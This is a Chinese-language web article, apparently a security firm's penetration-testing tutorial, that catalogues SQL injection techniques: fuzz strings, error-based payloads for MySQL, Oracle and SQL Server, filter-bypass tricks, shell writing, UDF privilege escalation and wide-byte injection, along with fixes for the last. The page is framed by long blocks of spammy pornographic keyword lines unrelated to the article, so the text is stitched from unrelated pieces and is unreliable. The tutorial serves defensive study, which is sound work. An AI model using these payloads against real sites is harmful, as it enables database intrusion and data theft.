少妇被粗黑进进出出在线观看_日日摸夜夜爽无码_免费久久_日韩免费视频_热播短剧玫瑰冠冕免费观看_japanese精品少妇

滲透測試對網站注入攻擊方法剖析
  • 更新時間:2025-05-13 16:31:53
  • 開發經驗
  • 發布時間:3年前
  • 541

國慶即將到來,前一期講到獲取網站信息判斷所屬環境以及各個端口的用處和弱口令密碼利用方法,這期仍有很多客戶找到我們Sine安全想要了解針對于SQL注入攻擊的測試方法,這一期我們來講解下注入的攻擊分類和使用手法,讓客戶明白漏洞是如何產生的,會給網站安全帶來怎樣的影響!


3.1 SQL注入漏洞

3.1.1. 注入分類

SQL注入是一種代碼注入技術,用于攻擊數據驅動的應用程序。在應用程序中,如果沒有做恰當的過濾,則可能使得惡意的SQL語句被插入輸入字段中執行(例如將數據庫內容轉儲給攻擊者)。


3.1.1.1. 按技巧分類

根據使用的技巧,SQL注入類型可分為


盲注

布爾盲注:只能從應用返回中推斷語句執行后的布爾值

時間盲注:應用沒有明確的回顯,只能使用特定的時間函數來判斷

報錯注入:應用會顯示全部或者部分的報錯信息

堆疊注入:有的應用可以加入 ; 后一次執行多條語句

其他


3.1.1.2. 按獲取數據的方式分類

另外也可以根據獲取數據的方式分為3類

inband

利用Web應用來直接獲取數據

如報錯注入

都是通過站點的響應或者錯誤反饋來提取數據

inference

通過Web的一些反映來推斷數據

如布爾盲注和堆疊注入

也就是我們通俗的盲注,

通過web應用的其他改變來推斷數據

out of band(OOB)

通過其他傳輸方式來獲得數據,比如DNS解析協議和電子郵件


3.1.2. 注入檢測

3.1.2.1. 常見的注入點

GET/POST/PUT/DELETE參數

X-Forwarded-For

文件名

3.1.2.2. Fuzz注入點

' / "

1/1

1/0

and 1=1

" and "1"="1

and 1=2

or 1=1

or 1=

' and '1'='1

+ - ^ * % /

<< >> || | & &&

~

!

@

反引號執行

3.1.2.3. 測試用常量

@@version

@@servername

@@language

@@spid

3.1.2.4. 測試列數

例如 域名/index.asp?id=12+union+select+nulll,null-- ,不斷增加 null 至不返回

3.1.2.5. 報錯注入

select 1/0

select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a

extractvalue(1, concat(0x5c,(select user())))

updatexml(0x3a,concat(1,(select user())),1)

exp(~(SELECT * from(select user())a))

ST_LatFromGeoHash((select * from(select * from(select user())a)b))

GTID_SUBSET(version(), 1)

3.1.2.5.1. 基于geometric的報錯注入

GeometryCollection((select * from (select * from(select user())a)b))

polygon((select * from(select * from(select user())a)b))

multipoint((select * from(select * from(select user())a)b))

multilinestring((select * from(select * from(select user())a)b))

LINESTRING((select * from(select * from(select user())a)b))

multipolygon((select * from(select * from(select user())a)b))

其中需要注意的是,基于exp函數的報錯注入在MySQL 5.5.49后的版本已經不再生效,具體可以參考這個 commit 95825f 。

而以上列表中基于geometric的報錯注入在這個 commit 5caea4 中被修復,在5.5.x較后的版本中同樣不再生效。

3.1.2.6. 堆疊注入

;select 1

3.1.2.7. 注釋符

#

--+

/*xxx*/

/*!xxx*/

/*!50000xxx*/

3.1.2.8. 判斷過濾規則

是否有trunc

是否過濾某個字符

是否過濾關鍵字

slash和編碼

3.1.2.9. 獲取信息

判斷數據庫類型

and exists (select * from msysobjects ) > 0 access數據庫

and exists (select * from sysobjects ) > 0 SQLServer數據庫

判斷數據庫表

and exsits (select * from admin)

版本、主機名、用戶名、庫名

表和字段

確定字段數(Order By Select Into)

表名、列名

3.1.2.10. 測試權限

文件操作

讀敏感文件

寫shell

帶外通道

網絡請求

3.1.3. 權限提升

3.1.3.1. UDF提權

UDF(User Defined Function,用戶自定義函數)是MySQL提供的一個功能,可以通過編寫DLL擴展為MySQL添加新函數,擴充其功能。

當獲得MySQL權限之后,即可通過這種方式上傳自定義的擴展文件,從MySQL中執行系統命令。

3.1.4. 數據庫檢測

3.1.4.1. MySQL

sleep sleep(1)

benchmark BENCHMARK(5000000, MD5('test'))

字符串連接

SELECT 'a' 'b'

SELECT CONCAT('some','string')

version

SELECT @@version

SELECT version()

識別用函數

connection_id()

last_insert_id()

row_count()

3.1.4.2. Oracle

字符串連接

'a'||'oracle' --

SELECT CONCAT('some','string')

version

SELECT banner FROM v$version

SELECT banner FROM v$version WHERE rownum=1

3.1.4.3. SQLServer

WAITFOR WAITFOR DELAY '00:00:10';

SERVERNAME SELECT @@SERVERNAME

version SELECT @@version

字符串連接

SELECT 'some'+'string'

常量

@@pack_received

@@rowcount

3.1.4.4. PostgreSQL

sleep pg_sleep(1)

3.1.5. 繞過技巧

編碼繞過

大小寫

url編碼

html編碼

十六進制編碼

unicode編碼

注釋

// -- -- + -- - # /**/ ;%00

內聯注釋用的更多,它有一個特性 /!**/ 只有MySQL能識別

e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

只過濾了一次時

union => ununionion

相同功能替換

函數替換

substring / mid / sub

ascii / hex / bin

benchmark / sleep

變量替換

user() / @@user

符號和關鍵字

and / &

or / |

HTTP參數

HTTP參數污染

id=1&id=2&id=3 根據容器不同會有不同的結果

HTTP分割注入

緩沖區溢出

一些C語言的WAF處理的字符串長度有限,超出某個長度后的payload可能不會被處理

二次注入有長度限制時,通過多句執行的方法改掉數據庫該字段的長度繞過

3.1.6. SQL注入小技巧

3.1.6.1. 寬字節注入

一般程序員用gbk編碼做開發的時候,會用 set names 'gbk' 來設定,這句話等同于

set

character_set_connection = 'gbk',

character_set_result = 'gbk',

character_set_client = 'gbk';

漏洞發生的原因是執行了 set character_set_client = 'gbk'; 之后,mysql就會認為客戶端傳過來的數據是gbk編碼的,從而使用gbk去解碼,而mysql_real_escape是在解碼前執行的。但是直接用 set names 'gbk' 的話real_escape是不知道設置的數據的編碼的,就會加 %5c 。此時server拿到數據解碼 就認為提交的字符+%5c是gbk的一個字符,這樣就產生漏洞了。

解決的辦法有三種,第一種是把client的charset設置為binary,就不會做一次解碼的操作。第二種是是 mysql_set_charset('gbk') ,這里就會把編碼的信息保存在和數據庫的連接里面,就不會出現這個問題了。第三種就是用pdo。如果期間想要滲透測試自己的網站安全性,可以聯系專業的網站安全公司來處理解決,國內推薦Sinesafe,綠盟,啟明星辰等等的網站安全公司,還有一些其他的編碼技巧,比如latin會棄掉無效的unicode,那么admin%32在代碼里面不等于admin,在數據庫比較會等于admin。

我們專注高端建站,小程序開發、軟件系統定制開發、BUG修復、物聯網開發、各類API接口對接開發等。十余年開發經驗,每一個項目承諾做到滿意為止,多一次對比,一定讓您多一份收獲!

本文章出于推來客官網,轉載請表明原文地址:https://www.tlkjt.com/experience/7595.html
推薦文章

在線客服

掃碼聯系客服

3985758

回到頂部

主站蜘蛛池模板: 99re这里只有精品视频在线观看_久插国产_免费av福利在线观看_亚洲女毛多水多21p_亚洲性爽_狠色狠色狠狠色综合久久 | 三级毛片久久_午夜精品久久久久久久蜜桃_玖玖玖国产精品视频_超碰个人在线_一级毛片真人视频_巨胸喷奶水www久久久 | 国产亚洲精品成人a在线_aaa久久_91色亚洲_日本人真淫视频一区二区三区_久久久xx_久久久久成人精品无码中文字幕 | 午夜在线成人_人人干日日干_9色视频在线_亚洲黄色精品视频_亚洲欧美综合自拍_国产91在线观看网站 | 毛片内射视频_久久久精品天堂_秋霞AV在线露丝片AV无码_人妻人人捏捏人人揉揉_亚洲日韩精品AV无码富二代_a级片免费的 | 6080yy免费毛片_超碰天天爽_免费毛片视频_91精品国产九九九久久久亚洲_国产xxxxx在线观看免费_天天综合久久综合 | 国产不卡一_成人精品一区二区91毛片不卡_91精品国啪老师啪_免费纯肉3D动漫无码网站_欧美视频在线第一页_色综合天天综合狠狠爱亚洲 | 欧美xxx片_免费av网站在线播放_免费看一级黄色大片_成人黄页网站视频_奇米777四色影色在线看_色一情一区二区三区四区 | 久久99国产精品成人_红杏网站永久免费视频入口_美女视频黄的_白丝无内液液酱视频在线观看_无码专区中文无码野外_在线成人国产天堂精品av | 亮剑第二部免费观看_午夜毛片免费看_天天爱天天拍天天插_亚洲AV综合色一区二区三区_午夜a狂野欧美一区二区_91久久精品国产91性色tv | 大青草网站_免费乱理伦片在线观看2017_最近中文字幕mv2018在线高清_久久婷婷五月综合色欧美_伊人影院在线视频_日韩一道本 | 青草精品在线_欧美熟妇精品一区二区三区_色综合久久久_91精品欧美久久久久久_国产美女露脸口爆吞精_午夜少妇av | 日韩久久精品一区_夜色爽爽爽久久精品日韩_亚洲一线二线三线AV无码_国产乱码精品一区二区三区蜜臀_诡异时代全球动漫免费观看_91超碰青青频精品国产 | 亚洲成a人_免费性爱视频_野花社区在线观看WWW_成人国产精品免费_麻豆久久_999精品视频在线 | 哪里可以看毛片_中文字幕仓人妻偷偷久久_亚洲欧美国产双大乳头_激情五月婷婷在线_99久久精品一区二区毛片吞精_91性九色 | 嘿咻嘿咻成人免费视频播放_91成人免费在线视频_搡老女人老91妇女老熟女o_国产AV无码专区亚洲AV中文_天天爽亚洲中文字幕_国产精品丝袜 | 91热热热_免费看一级特黄a大片_操你妹视频_久草青草_夜夜摸日日躁欧美视频_免费观影入口看日本视频 | 干美女av_色99在线观看_久久久久久久久成人_超碰伊人网_调教魔盒_制服丝袜亚洲中文综合 | 欧美性孟交_日韩欧美国产视频一区_亚洲成人第一_在线看黄色av_免费的一级视频_一二三四视频在线观看中文版免费 | 久操伊人_CHINESE中国人妻VIDEO_韩国色网站_欧美疯狂性xxxxxbbbbb_麻豆视频网址_欧美3p在线观看一区二区三区 | 影音先锋男人午夜资源站_岛国激情视频一区二区三区_最近高清中文在线观看国语字幕7_中文字幕av亚洲精品一部二部_婷婷久久青草热一区二区_强辱丰满的人妻HD高清3转4转 | 成人av网址天堂_中国精品久久_久久久久国色av∨免费看_久久久久久91_中文字幕在线视频网站_91视频免费版黄 | 亚洲AV午夜成人影院老师机影院_国产亚洲精品久久7788_亚洲一级一级一级_色视频观看_妺妺窝人体色聚窝窝WWW_久久久久久久久四区三区 | 最近中文字幕高清mv在线视频_亚洲阿v天堂无码z2018_伊人天天久大香线蕉AV色_国产乡下妇女做爰视频_亚洲一级片网站_国产精一品亚洲二区在线播放 | 黄页网站视频免费大全_2021高清精品国产_久久国产精品99久久久大便_亚洲精品国产剧情久久9191_国产欧美一区二区精品性_激情片一区二区 | 亚洲一区二区免费在线观看_十八岁污网站在线观看_国产精品无码首页自拍_国产福利视频一区二区_91视频中文_玖玖玖精品 | 国产午夜一级在线观看影院_欧洲野花视频天堂视频p_久草视频网站_欧美性猛交7777777_久久久亚洲_免费日韩成人 | 视频一区中文_欧美黑人一区二区三区免费A片_国精品无码一区二区三区左线_国产尤物av_黄色免费小视频_天天操天天骑 | 优酷在线_日本不卡不卡_av高清国产_国产播放隔着超薄丝袜进入_JAPANESEHD无码专区_天天干天天射天天操 国产精品第13页_69xx在线看片_亚洲综合av色婷婷_videossexotv另类精品_久久香蕉超碰97国产精品_国产免费视频观看ai | 性视频亚洲_超碰在线中文字幕_久久影院亚洲_亚洲com_精品久久网站_亚洲娇小与黑人巨大交 | av免费在线观_aa片在线观看无码免费_久久精品日产第一区二区三区乱码_羞羞答答xxdd在线网站观看_91久久久久久久久久久久_国产精品一区二区久久 | 国产视频三级在线观看播放_2021av网_成人h动漫精品一区二区器材_一级女人真人毛片免费看_91网唐先生18部在线观看_国产精品一级毛片av | 精品一区二区三区国产在线观看_欧美性大战久久久久XXX_精品无人乱码一区二区三区的使用体验_我的漂亮老师5中文字幕版_少妇高潮久久久久久图片_狠狠色欧美亚洲综合色 | 国产精品免费一区二区三区四区_亚洲日本天堂三级_yw视频在线观看_日韩涩图_国产精久久久久久久妇剪断_久久草视频 | 欧美黑人成人www在线观看_91污版_日韩一区二区三区免费看_中国丰满少妇xxxxx高潮_美日韩中文字幕_免费无码成人片在线观看 | 日韩欧美中字_久久免费观看视频_国产色诱视频在线播放丝袜_久爱精品_亚洲AV一二三四区四色婷婷_人妖丝袜高跟交video | 青草精品在线_欧美熟妇精品一区二区三区_色综合久久久_91精品欧美久久久久久_国产美女露脸口爆吞精_午夜少妇av | 日本啪啪网址_国产一级大片在线观看_国产精品夜夜春夜夜爽_青青久久91_黄色一级视频免费在线观看_粉嫩av一区二区在线观看 | 国产亚洲精品成人a在线_aaa久久_91色亚洲_日本人真淫视频一区二区三区_久久久xx_久久久久成人精品无码中文字幕 | 老妇女人一级毛片_黄色av免费看_日韩jizz_一级性大片_欧美人一级淫片a免费播放_欧美日韩一区二区三区在线观看 | 国产高清精品在线_人人搞人人爽_日韩精品一区二区视频_kendralust性潮喷hdbrazzers_色综合色狠狠天天综合色_日韩不卡一级三级片免费 |